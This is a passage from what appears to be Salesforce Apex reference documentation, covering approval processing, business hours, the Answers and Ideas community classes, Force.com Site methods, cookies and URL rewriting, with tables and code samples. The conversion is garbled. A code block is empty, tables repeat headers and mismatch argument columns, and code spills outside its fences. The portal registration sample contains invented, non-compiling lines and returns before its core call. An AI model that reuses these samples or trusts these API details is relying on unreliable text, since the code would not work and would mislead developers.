    req2.setWorkitemId(newWorkItemIds.get(0));
    
    // Submit the request for approval
    Approval.ProcessResult result2 = Approval.process(req2);
    
    // Verify the results
    System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());
    System.assertEquals('Approved', result2.getInstanceStatus(), 'Instance Status'+result2.getInstanceStatus());
}
```

ProcessRequest Class

The `ProcessRequest` class is the parent class for the `ProcessSubmitRequest` and `ProcessWorkitemResult` classes. Use the `ProcessRequest` class to write generic Apex that can process objects from either class.

You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments. For example:

```apex
Approval.ProcessRequest pr = new Approval.ProcessRequest();
```
The `ProcessRequest` class has the following methods.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getComments</td>
<td>String</td>
<td>String</td>
<td>Returns the comments that have been added previously to the approval request.</td>
</tr>
<tr>
<td>getNextApproverIds</td>
<td>ID[]</td>
<td>Void</td>
<td>Returns the list of user IDs of user specified as approvers.</td>
</tr>
<tr>
<td>setComments</td>
<td>String</td>
<td>Void</td>
<td>The comments to be added to the approval request.</td>
</tr>
<tr>
<td>setNextApproverIds</td>
<td>ID[]</td>
<td>Void</td>
<td>If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not, you cannot specify a user ID and this method must be <code>null</code>.</td>
</tr>
</tbody>
</table>

### ProcessResult Class

After you submit a record for approval, use the `ProcessResult` class to process the results of an approval process.

A `ProcessResult` object is returned by the `process` method. You must specify the Approval namespace when creating an instance of this class. For example:

```java
Approval.ProcessResult result = Approval.process(req1);
```

The `ProcessResult` class has the following methods. These methods take no arguments.

<table>
<thead>
<tr>
<th>Name</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getEntityId</td>
<td>String</td>
<td>The ID of the record being processed.</td>
</tr>
<tr>
<td>getErrors</td>
<td><code>Database.Error[]</code></td>
<td>If an error occurred, returns an array of one or more database error objects including the error code and description. For more information, see <a href="#">Database Error Object Methods</a> on page 304.</td>
</tr>
<tr>
<td>getInstanceId</td>
<td>String</td>
<td>The ID of the approval process that has been submitted for approval.</td>
</tr>
<tr>
<td>getInstanceStatus</td>
<td>String</td>
<td>The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending.</td>
</tr>
<tr>
<td>getNewWorkitemIds</td>
<td>ID[]</td>
<td>The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.</td>
</tr>
<tr>
<td>isSuccess</td>
<td>Boolean</td>
<td>A Boolean value that is set to <code>true</code> if the approval process completed successfully; otherwise, it is set to <code>false</code>.</td>
</tr>
</tbody>
</table>

### ProcessSubmitRequest Class

Use the `ProcessSubmitRequest` class to submit a record for approval.
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments. For example:

```java
Approval.ProcessSubmitRequest psr = new Approval.ProcessSubmitRequest();
```

The following methods are unique to the `ProcessSubmitRequest` class. In addition to these methods, the `ProcessSubmitRequest` class has access to all the methods in its parent class, `ProcessRequest`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getObjectID</td>
<td>String</td>
<td>String</td>
<td>Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object record.</td>
</tr>
<tr>
<td>setObjectID</td>
<td>String Id</td>
<td>Void</td>
<td>Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.</td>
</tr>
</tbody>
</table>

The `ProcessSubmitRequest` class shares the following methods with `ProcessRequest`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getComments</td>
<td>String</td>
<td>String</td>
<td>Returns the comments that have been added previously to the approval request.</td>
</tr>
<tr>
<td>getNextApproverIds</td>
<td>ID[]</td>
<td></td>
<td>Returns the list of user IDs of user specified as approvers.</td>
</tr>
<tr>
<td>setComments</td>
<td>String</td>
<td>Void</td>
<td>The comments to be added to the approval request.</td>
</tr>
<tr>
<td>setNextApproverIds</td>
<td>ID[]</td>
<td>Void</td>
<td>If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not, you cannot specify a user ID and this method must be null.</td>
</tr>
</tbody>
</table>

**ProcessWorkitemRequest Class**

Use the `ProcessWorkitemRequest` class for processing an approval request after it is submitted.

You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments. For example:

```java
```

The following methods are unique to the `ProcessWorkitemRequest` class. In addition to these methods, the `ProcessWorkitemRequest` class has access to all the methods in its parent class, `ProcessRequest`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getAction</td>
<td>String</td>
<td>String</td>
<td>Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed.</td>
</tr>
</tbody>
</table>
### ProcessWorkitemRequest Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getWorkitemId</td>
<td>String</td>
<td>String</td>
<td>Returns the ID of the approval request that is in the process of being approved, rejected, or removed.</td>
</tr>
<tr>
<td>setAction</td>
<td>String s</td>
<td>Void</td>
<td>Sets the type of action to take for processing an approval request. Valid values are: Approve, Reject, or Removed. Only system administrators can specify Removed.</td>
</tr>
<tr>
<td>setWorkitemId</td>
<td>String Id</td>
<td>Void</td>
<td>Sets the ID of the approval request that is being approved, rejected, or removed.</td>
</tr>
</tbody>
</table>

The `ProcessWorkitemRequest` class shares the following methods with `ProcessRequest`.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>getComments</td>
<td>String</td>
<td>String</td>
<td>Returns the comments that have been added previously to the approval request.</td>
</tr>
<tr>
<td>getNextApproverIds</td>
<td>ID[]</td>
<td>String</td>
<td>Returns the list of user IDs of user specified as approvers.</td>
</tr>
<tr>
<td>setComments</td>
<td>String</td>
<td>Void</td>
<td>The comments to be added to the approval request.</td>
</tr>
<tr>
<td>setNextApproverIds</td>
<td>ID[]</td>
<td>Void</td>
<td>If the next step in your approval process is another Apex approval process, you specify exactly one user ID as the next approver. If not, you cannot specify a user ID and this method must be null.</td>
</tr>
</tbody>
</table>

### BusinessHours Class

Business hours are used to specify the hours at which your customer support team operates, including multiple business hours in multiple time zones.

BusinessHours methods are all called by and operate on a particular instance of a business hour. The following are the instance methods for BusinessHours.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>add</td>
<td>String <code>businessHoursId</code> String <code>startDate</code> Long <code>interval</code></td>
<td>Datetime</td>
<td>Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in the local time zone. For an example, see BusinessHours Examples on page 408.</td>
</tr>
<tr>
<td>addGmt</td>
<td>String <code>businessHoursId</code> String <code>startDate</code></td>
<td>Datetime</td>
<td>Adds an interval of milliseconds from a start Datetime traversing business hours only. Returns the result Datetime in GMT. For an example, see BusinessHours Examples on page 408.</td>
</tr>
</tbody>
</table>
For more information on business hours, see “Setting Business Hours” in the Salesforce online help.

**BusinessHours Examples**

The following example finds the time one business hour from startTime, returning the Datetime in the local time zone:

```java
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];

// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);

// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);
```

This example finds the time one business hour from startTime, returning the Datetime in GMT:

```java
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];

// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);

// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);
```

The next example finds the difference between startTime and nextTime:

```java
// Get the default business hours
BusinessHours bh = [select id from businesshours where IsDefault=true];

// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.
Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);

// Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone.
Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8);

// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);
```
Apex Community Classes

Communities help organize ideas and answers into logical groups with each community having its own focus and unique ideas and answers topics. Apex includes the following classes related to a community:

- **Answers Class**
- **Ideas Class**

**Answers Class**

Answers is a feature of the Community application that enables users to ask questions and have community members reply with answers. Community members can then vote on the helpfulness of each reply, and the person who asked the question can mark one reply as the best answer.

The following are the static methods for answers.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>findSimilar</td>
<td>Question question</td>
<td>ID[]</td>
<td>Returns a list of similar questions based on the title of question. Each findSimilar call counts against the total number of DML statements allowed for the process.</td>
</tr>
<tr>
<td>setBestReply</td>
<td>String questionId</td>
<td>Void</td>
<td>Sets the specified reply for the specified question as the best reply. Because a question can have multiple replies, setting the best reply helps users quickly identify the reply that contains the most helpful information.</td>
</tr>
<tr>
<td></td>
<td>String replyId</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

For more information on answers, see “Answers Overview” in the Salesforce online help.

**Answers Example**

The following example finds questions in a specific community (INTERNAL_COMMUNITY) that have similar titles as a new question:

```java
public class FindSimilarQuestionController {
    public static void test() {
        // Instantiate a new question
        Question question = new Question();

        // Specify a title for the new question
        question.title = 'How much vacation time do full-time employees get?';

        // Specify the communityID (INTERNAL_COMMUNITY) in which to find similar questions.
        Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_COMMUNITY' ];
        question.communityId = community.id;

        ID[] results = Answers.findSimilar(question);
    }
}
```
The following example marks a reply as the best reply:

```java
ID questionId = [SELECT Id FROM Question WHERE Title = 'Testing setBestReplyId' LIMIT 1].Id;
ID replyID = [SELECT Id FROM Reply WHERE QuestionId = :questionId LIMIT 1].Id;
Answers.setBestReply(questionId, replyId);
```

### Ideas Class

Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion box that includes discussions and popularity rankings for any subject.

A set of recent replies (returned by methods, see below) includes ideas that a user has posted or commented on that already have comments posted by another user. The returned ideas are listed based on the time the last comment made by another user, with the most recent ideas appearing first.

The `userID` argument is a required argument that filters the results so only the ideas that the specified user has posted or commented on are returned.

The `communityID` argument filters the results so only the ideas within the specified community are returned. If this argument is the empty string, then all recent replies for the specified user are returned regardless of the community.

The following are the static methods for ideas.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>findSimilar</td>
<td>Idea idea</td>
<td>ID[]</td>
<td>Returns a list similar ideas based on the title of idea. Each findSimilar call counts against the total number of DML statements allowed for the process.</td>
</tr>
<tr>
<td>getAllRecentReplies</td>
<td>String userID, String communityID</td>
<td>ID[]</td>
<td>Returns ideas that have recent replies for the specified user or community. This includes all read and unread replies.</td>
</tr>
<tr>
<td>getReadRecentReplies</td>
<td>String userID, String communityID</td>
<td>ID[]</td>
<td>Returns ideas that have recent replies marked as read.</td>
</tr>
<tr>
<td>getUnreadRecentReplies</td>
<td>String userID, String communityID</td>
<td>ID[]</td>
<td>Returns ideas that have recent replies marked as unread.</td>
</tr>
<tr>
<td>markRead</td>
<td>String ideaID</td>
<td>Void</td>
<td>Marks all comments as read for the user that is currently logged in.</td>
</tr>
</tbody>
</table>

For more information on ideas, see “Using Salesforce CRM Ideas” in the Salesforce online help.

### Ideas Examples

The following example finds ideas in a specific community that have similar titles as a new idea:

```java
public class FindSimilarIdeasController {
    public static void test() {
        // Instantiate a new idea
        Idea idea = new Idea();
```
// Specify a title for the new idea
idea.title = 'Increase Vacation Time for Employees';

// Specify the communityID (INTERNAL_IDEAS) in which to find similar ideas.
Community community = [ SELECT Id FROM Community WHERE Name = 'INTERNAL_IDEAS' ];
idea.communityId = community.id;

ID[] results = Ideas.findSimilar(idea);

The following example uses a Visualforce page in conjunction with a custom controller, that is, a special Apex class. For more information on Visualforce, see the Visualforce Developer's Guide.

This example creates an Apex method in the controller that returns unread recent replies. You can leverage this same example for the getAllRecentReplies and getReadRecentReplies methods. For this example to work, there must be ideas posted to the community. In addition, at least one community member must have posted a comment to another community member's idea or comment.

// Create an Apex method to retrieve the recent replies marked as unread in all communities
public class IdeasController {
    public Idea[] getUnreadRecentReplies() {
        Idea[] recentReplies;
        if (recentReplies == null) {
            Id[] recentRepliesIds = Ideas.getUnreadRecentReplies(UserInfo.getUserId(), '');
            recentReplies = [select id, title from idea where id in :recentRepliesIds];
        }
        return recentReplies;
    }
}

The following is the markup for a Visualforce page that uses the above custom controller to list unread recent replies.

<apex:page controller="IdeasController" showHeader="false">
    <apex:dataList value="{!unreadRecentReplies}" var="recentReplyIdea">
        <a href="/apex/viewIdea?id={!recentReplyIdea.id}"
            <apex:outputText value="{!recentReplyIdea.title}" escape="true"></a>
    </apex:dataList>
</apex:page>

The following example uses a Visualforce page in conjunction with a custom controller to list ideas. Then, a second Visualforce page and custom controller is used to display a specific idea and mark it as read. For this example to work, there must be ideas posted to the community.

// Create a controller to use on a Visualforce page to list ideas
public class IdeaListController {
    public final Idea[] ideas {get; private set;}

    public IdeaListController() {
        Integer i = 0;
        ideas = new Idea[10];
        for (Idea tmp : Database.query ('select id, title from Idea where id != null and parentIdeaId = null limit 10')) {
            i++;
            ideas.add(tmp);
        }
    }
}
The following is the markup for a Visualforce page that uses the above custom controller to list ideas:

```xml
<apex:page controller="IdeaListController" tabStyle="Idea" showHeader="false">
    <apex:dataList value="{!ideas}" var="idea" id="ideaList">
        <a href="/apex/viewIdea?id={!idea.id}">
            <apex:outputText value="{!idea.title}" escape="true"/>
        </a>
    </apex:dataList>
</apex:page>
```

The following example also uses a Visualforce page and custom controller, this time, to display the idea that is selected on the above idea list page. In this example, the markRead method marks the selected idea and associated comments as read by the user that is currently logged in. Note that the markRead method is in the constructor so that the idea is marked read immediately when the user goes to a page that uses this controller. For this example to work, there must be ideas posted to the community. In addition, at least one community member must have posted a comment to another community member’s idea or comment.

```xml
// Create an Apex method in the controller that marks all comments as read for the selected idea
public class ViewIdeaController {
    private final String id = System.currentPage().getParameters().get('id');
    public ViewIdeaController(ApexPages.StandardController controller) {
        Ideas.markRead(id);
    }
}
```

The following is the markup for a Visualforce page that uses the above custom controller to display the idea as read.

```xml
<apex:page standardController="Idea" extensions="ViewIdeaController" showHeader="false">
    <h2><apex:outputText value="{!idea.title}" /></h2>
    <apex:outputText value="{!idea.body}" />
</apex:page>
```

See Also:
- `IdeaStandardController Class`
- `IdeaStandardSetController Class`

### Site Class

The following are the static methods for the `Site` class, which is part of Force.com sites.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>changePassword</td>
<td>String <code>newpassword</code></td>
<td>System.PageReference</td>
<td>Changes the password of the current user.</td>
</tr>
<tr>
<td></td>
<td>String <code>verifynewpassword</code></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>-----------------------------</td>
<td>---------------------------------------------------------------------------</td>
<td>-------------</td>
<td>-------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>createPersonAccountPortalUser</td>
<td>sObject user String ownerId String recordTypeId String password</td>
<td>Id</td>
<td>Creates a person account using the specified <code>recordTypeId</code>, then enables it for the site's portal.</td>
</tr>
<tr>
<td>createPersonAccountPortalUser</td>
<td>sObject user String ownerId String password</td>
<td>Id</td>
<td>Creates a person account using the default record type defined on the guest user's profile, then enables it for the site's portal.</td>
</tr>
<tr>
<td>createPortalUser</td>
<td>sObject user String accountId String opt_password</td>
<td>Id</td>
<td>Creates a portal user for the given account and associates it with the site's portal. Note that the <code>nickname</code> field is required for the user sObject when using the <code>createPortalUser</code> method.</td>
</tr>
<tr>
<td>forgotPassword</td>
<td>String username</td>
<td>Boolean</td>
<td>Resets the user's password and sends an email to the user with their new password. Returns a value indicating whether the password reset was successful or not.</td>
</tr>
<tr>
<td>getAnalyticsTrackingCode</td>
<td></td>
<td>String</td>
<td>The tracking code associated with your site. This code can be used by services like Google Analytics to track page request data for your site.</td>
</tr>
<tr>
<td>getCurrentSiteUrl</td>
<td></td>
<td>String</td>
<td>Returns the value of the site URL for the current request (for example, <a href="http://myco.com/">http://myco.com/</a> or <a href="https://myco.force.com/prefix/">https://myco.force.com/prefix/</a>).</td>
</tr>
<tr>
<td>Name</td>
<td>Arguments</td>
<td>Return Type</td>
<td>Description</td>
</tr>
<tr>
<td>------------------------</td>
<td>----------------------</td>
<td>----------------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>getCustomWebAddress</td>
<td>String</td>
<td>String</td>
<td>Returns the value of the Custom Web Address field for the current site.</td>
</tr>
<tr>
<td>getDomain</td>
<td>String</td>
<td>String</td>
<td>Returns the Force.com domain name for your organization.</td>
</tr>
<tr>
<td>getErrorDescription</td>
<td>String</td>
<td>String</td>
<td>Returns the error description for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string.</td>
</tr>
<tr>
<td>getErrorMessage</td>
<td>String</td>
<td>String</td>
<td>Returns an error message for the current page if it is a designated error page for the site and an error exists; otherwise, returns an empty string.</td>
</tr>
<tr>
<td>getName</td>
<td>String</td>
<td>String</td>
<td>Returns the API name of the current site.</td>
</tr>
<tr>
<td>getOriginalUrl</td>
<td>String</td>
<td>String</td>
<td>Returns the original URL for this page if it is a designated error page for the site; otherwise, returns null.</td>
</tr>
<tr>
<td>getPrefix</td>
<td>String</td>
<td>String</td>
<td>Returns the URL path prefix of the current site. For example, if your site URL is myco.force.com/partners, partners is the path prefix. Returns null if the prefix is not defined, or if the page was accessed using a custom Web address.</td>
</tr>
<tr>
<td>getTemplate</td>
<td>System.PageReference</td>
<td>System.PageReference</td>
<td>Returns the template name associated with the current site; returns the default template if no template has been designated.</td>
</tr>
<tr>
<td>isLoginEnabled</td>
<td>Boolean</td>
<td>Boolean</td>
<td>Returns true if the current site is associated with an active login-enabled portal; otherwise returns false.</td>
</tr>
<tr>
<td>isPasswordExpired</td>
<td>Boolean</td>
<td>Boolean</td>
<td>For authenticated users, returns true if the currently logged-in user's password is expired. For non-authenticated users, returns false.</td>
</tr>
<tr>
<td>isRegistrationEnabled</td>
<td>Boolean</td>
<td>Boolean</td>
<td>Returns true if the current site is associated with an active self-registration-enabled Customer Portal; otherwise returns false.</td>
</tr>
<tr>
<td>login</td>
<td>String username</td>
<td>System.PageReference</td>
<td>Allows users to log in to the current site with the given username and password, then takes them to the</td>
</tr>
<tr>
<td></td>
<td>String password</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Reference Site Class
For more information on sites, see “Sites Overview” in the Salesforce online help.

**Force.com Sites Examples**

The following example creates a class, SiteRegisterController, which is used with a Visualforce page (see markup below) to register new Customer Portal users.

**Note:** In the example below, you must enter the account ID of the account that you want to associate with new portal users. You must also add the account owner to the role hierarchy for this code example to work. For more information, see “Setting Up Your Customer Portal” in the Salesforce online help.

```java
/**
* An apex class that creates a portal user
*/
public class SiteRegisterController {
    // PORTAL_ACCOUNT_ID is the account on which the contact will be created on
    // and then enabled as a portal user.
    // Enter the account ID in place of <portal_account_id> below.
    private static Id PORTAL_ACCOUNT_ID = '<portal_account_id>';

    public SiteRegisterController () {
    }

    public String username {get; set;}
    public String email {get; set;}
    public String password {get; set {password = value == null ? value : value.trim(); } }
    public String confirmPassword {get; set { confirmPassword = value == null ? value : value.trim(); } }
    public String communityNickname {get; set { communityNickname = value == null ? value : value.trim(); } }

    private boolean isValidPassword() {
        return password == confirmPassword;
    }

    public PageReference registerUser() {
        // If password is null, a random password is sent to the user
        if (!isValidPassword()) {
            ApexPages.Message msg = new ApexPages.Message(ApexPages.Severity.ERROR,
                Label.site.passwords_dont_match);
            ApexPages.addMessage(msg);
            return null;
        }
        User u = new User();
        u.Username = username;
        u.Email = email;
        u.CommunityNickname = communityNickname;
        String accountId = PORTAL_ACCOUNT_ID;
        String accountNickname = communityNickname;
        u.Name = u.Username + ' ' + u.CommunityNickname;
        User.Strength strength = User.Strength.valueOf(userStrength);
        u.Strength = strength;
        u.Save();
        return null;
    }
}
```
// lastName is a required field on user, but if it isn't specified, 
// the code uses the username
String userId = Site.createPortalUser(u, accountId, password);
if (userId != null) {
    if (password != null && password.length() > 1) {
        return Site.login(username, password, null);
    }
    else {
        PageReference page = System.Page.SiteRegisterConfirm;
        page.setRedirect(true);
        return page;
    }
}
return null;

}  
// Test method for verifying the positive test case
static testMethod void testRegistration() {
    SiteRegisterController controller = new SiteRegisterController();
    controller.username = 'test@force.com';
    controller.email = 'test@force.com';
    controller.communityNickname = 'test';
    // registerUser always returns null when the page isn't accessed as a guest user
    System.assert(controller.registerUser() == null);
    controller.password = 'abcd1234';
    controller.confirmPassword = 'abcd123';
    System.assert(controller.registerUser() == null);
}

The following is the Visualforce registration page that uses the SiteRegisterController Apex controller above:

```xml
<apex:page id="Registration" showHeader="false" controller="SiteRegisterController" standardStylesheets="true">
    <apex:outputText value="Registration"/>
    <br/>
    <apex:form id="theForm">
        <apex:messages id="msg" styleClass="errorMsg" layout="table" style="margin-top:1em;"/>
        <apex:panelGrid columns="2" style="margin-top:1em;">
            <apex:outputLabel value="{!$Label.site.username}" for="username"/>
            <apex:inputText required="true" id="username" value="{!username}"/>
            <apex:outputLabel value="{!$Label.site.community_nickname}" for="communityNickname"/>
            <apex:inputText required="true" id="communityNickname" required="true" value="{!communityNickname}"/>
            <apex:outputLabel value="{!$Label.site.email}" for="email"/>
            <apex:inputText required="true" id="email" required="true" value="{!email}"/>
            <apex:outputLabel value="{!$Label.site.password}" for="password"/>
            <apex:inputSecret id="password" value="{!password}"/>
            <apex:outputLabel value="{!$Label.site.confirm_password}" for="confirmPassword"/>
            <apex:inputSecret id="confirmPassword" value="{!confirmPassword}"/>
            <apex:outputText value="/"/>
            <apex:commandButton action="{!registerUser}" value="{!$Label.site.submit}" id="submit"/>
        </apex:panelGrid>
    </apex:form>
</apex:page>
```

The sample code for the createPersonAccountPortalUser method is nearly identical to the sample code above, with the following changes:

- Replace all instances of PORTAL_ACCOUNT_ID with OWNER_ID.
Determine the ownerID instead of the accountID, and use the `createPersonAccountPortalUser` method instead of the `CreatePortalUser` method by replacing the following code block:

```java
String accountId = PORTAL_ACCOUNT_ID;
String userId = Site.createPortalUser(u, accountId, password);
```

with

```java
String ownerId = OWNER_ID;
String userId = Site.createPersonAccountPortalUser(u, ownerId, password);
```

**Cookie Class**

The Cookie class lets you access cookies for your Force.com site using Apex.

Use the `setCookies` method of the `pageReference` class to attach cookies to a page.

**Important:**
- Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their hexadecimal representation.
- The `setCookies` method adds the prefix “apex__” to the cookie names.
- Setting a cookie's value to `null` sends a cookie with an empty string value instead of setting an expired attribute.
- After you create a cookie, the properties of the cookie can’t be changed.
- Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie value to generate dynamic content, you should disable page caching. For more information, see “Caching Sites Pages” in the Salesforce online help.
- You can only create cookies and set cookie values for a page in the constructor for the page controller (see example).

Consider the following limitations when using the Cookie class:

- The Cookie class can only be accessed using Apex that is saved using the Salesforce API version 19 and above.
- The maximum number of cookies that can be set per Force.com domain depends on your browser. Newer browsers have higher limits than older ones.
- Cookies must be less than 4K, including name and attributes.

The following are the instance methods for the Cookie class, which is part of Force.com sites.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>getDomain</code></td>
<td>String</td>
<td>String</td>
<td>Returns the name of the server making the request.</td>
</tr>
<tr>
<td><code>getMaxAge</code></td>
<td>Integer</td>
<td>Integer</td>
<td>Returns a number representing how long the cookie is valid for, in seconds. If set to &lt; 0, a session cookie is issued. If set to 0, the cookie is deleted.</td>
</tr>
<tr>
<td><code>getName</code></td>
<td>String</td>
<td>String</td>
<td>Returns the name of the cookie. Can't be null.</td>
</tr>
<tr>
<td><code>getPath</code></td>
<td>String</td>
<td>String</td>
<td>Returns the path from which you can retrieve the cookie. If <code>null</code> or blank, the location is set to root, or &quot;/&quot;.</td>
</tr>
</tbody>
</table>
For more information on sites, see “Sites Overview” in the Salesforce online help.

The following example creates a class, `CookieController`, which is used with a Visualforce page (see markup below) to update a counter each time a user displays a page. The number of times a user goes to the page is stored in a cookie.

```
// A Visualforce controller class that creates a cookie
// used to keep track of how often a user displays a page
public class CookieController {
    public CookieController() {
        Cookie counter = ApexPages.currentPage().getCookies().get('counter');
        // If this is the first time the user is accessing the page,
        // create a new cookie with name 'counter', an initial value of '1',
        // path 'null', maxAge '-1', and isSecure 'false'.
        if (counter ==null) {
            counter = new Cookie('counter','1',null,-1,false);
        } else {
        // If this isn't the first time the user is accessing the page
        // create a new cookie, incrementing the value of the original count by 1
        Integer count = Integer.valueOf(counter.getValue());
        counter = new Cookie('counter', String.valueOf(count+1),null,-1,false);
        }
        // Set the new cookie for the page
        ApexPages.currentPage().setCookies(new Cookie[]{counter});
    }

    // This method is used by the Visualforce action {!count} to display the current
    // value of the number of times a user had displayed a page.
    // This value is stored in the cookie.
    public String getCount() {
        Cookie counter = ApexPages.currentPage().getCookies().get('counter');
        if(counter == null) {
            return '0';
        }
        return counter.getValue();
    }

    // Test method for verifying the positive test case
    static testMethod void testCounter() {
        //first page view
        CookieController controller = new CookieController();
        System.assert(controller.getCount() == '1');

        //second page view
        controller = new CookieController();
        System.assert(controller.getCount() == '2');
    }
}
```
The following is the Visualforce page that uses the `CookieController` Apex controller above. The action ` {!count} ` calls the `getCount` method in the controller above.

```apex
<apex:page controller="CookieController">
You have seen this page {!count} times
</apex:page>
```

## Apex Interfaces

Apex provides the following system-defined interfaces:

- **Database.Batchable**
  Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programatically invoked at runtime using Apex.

- **Iterator and Iterable**
  An iterator traverses through every item in a collection. For example, in a `while` loop in Apex, you define a condition for exiting the loop, and you must provide some means of traversing the collection, that is, an iterator.

- **Messaging.InboundEmailHandler**
  For every email the Apex email service domain receives, Salesforce creates a separate `InboundEmail` object that contains the contents and attachments of that email. You can use Apex classes that implement the `Messaging.InboundEmailHandler` interface to handle an inbound email message. Using the `handleInboundEmail` method in that class, you can access an `InboundEmail` object to retrieve the contents, headers, and attachments of inbound email messages, as well as perform many functions.

- **Scheduleable**
  To invoke Apex classes to run at specific times, first implement the `Scheduleable` interface for the class, then specify the schedule using either the Schedule Apex page in the Salesforce user interface, or the `System.schedule` method.

- **Site.UrlRewriter**
  Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index your site pages.

- **Process.Plugin** is a built-in interface that allows you to pass data between your organization and a specified flow.

## Site.UrlRewriter Interface

Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index your site pages.

For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this: `http://myblog.force.com/posts?id=003D000000Q0PcN`

With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your New Year's Eve posts might be: `http://myblog.force.com/posts/2009/12/31/auld-lang-syne`

You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's Day post, the link URL might show: `http://myblog.force.com/posts/2010/02/14/last-minute-roses`
To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your site.

The following are the instance methods for the `Site.urlRewriter` interface, which is part of Force.com sites.

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>generateUrlFor</code></td>
<td><code>System.PageReference[]</code></td>
<td><code>System.PageReference[]</code></td>
<td>Maps a list of Salesforce URLs to a list of user-friendly URLs. You can use <code>List&lt;PageReference&gt;</code> instead of <code>PageReference[]</code>, if you prefer.</td>
</tr>
</tbody>
</table>

### Creating the Apex Class

The Apex class that you create must implement the Force.com provided interface `Site.UrlRewriter`. In general, it must have the following form:

```java
global class yourClass implements Site.UrlRewriter {
    global PageReference mapRequestUrl(PageReference yourFriendlyUrl)
    global PageReference[] generateUrlFor(PageReference[] yourSalesforceUrls);
}
```

Consider the following restrictions and recommendations as you create your Apex class:

#### Class and Methods Must be Global

The Apex class and methods must all be `global`.

#### Class Must Include Both Methods

